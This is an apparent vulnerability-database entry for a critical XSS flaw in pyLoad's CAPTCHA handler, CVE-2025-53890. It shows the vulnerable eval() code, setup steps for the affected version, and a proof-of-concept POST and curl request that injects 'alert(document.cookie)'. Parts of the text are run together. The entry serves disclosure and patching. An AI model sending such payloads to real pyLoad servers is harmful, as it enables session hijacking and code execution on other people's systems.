CVE-2025-53890Critical· 9.8▾ MidnightpyLoad vulnerable to XSS through insecure CAPTCHA
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 53.9 · likelihood 0.3 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 3.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
1.1%
Last analysed / modified upstream
1.1% → 1.3%
An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.
The vulnerable code resides in
function onCaptchaResult(result) {
eval(result); // Direct execution of attacker-controlled input
}
onCaptchaResult() function directly passes CAPTCHA results (sent from the user) into eval()fetch() or child_process.exec() in environments using NodeJSgit clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
Technical Clarification:
The vulnerable endpoint is actually:
/interactive/captcha
Complete PoC Request:
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
cid=123&response=1%3Balert(document.cookie)
curl -X POST "http://localhost:8000/interactive/captcha" \
-d "cid=123&response=1%3Balert(document.cookie)"
src/pyload/webui/app/static/js/captcha-interactive.user.js
eval()pyload-ng < 0.20Upgrade to a patched release:
pyload-ng 0.20Connected by shared product, vendor, weakness, or advisory.
CVE-2026-48484Medium· 6.5pyLoad is a free and open-source download manager written in Python
CVE-2026-75597Medium· 5.3pyLoad is a free and open-source download manager written in Python
CVE-2026-40071Medium· 5.4pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
CVE-2024-32880Critical· 9.1pyLoad allows upload to arbitrary folder lead to RCE
GHSA-fr26-jjhm-638cHighpyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
GHSA-p3pr-8f3m-4qp8Medium· 6.4pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host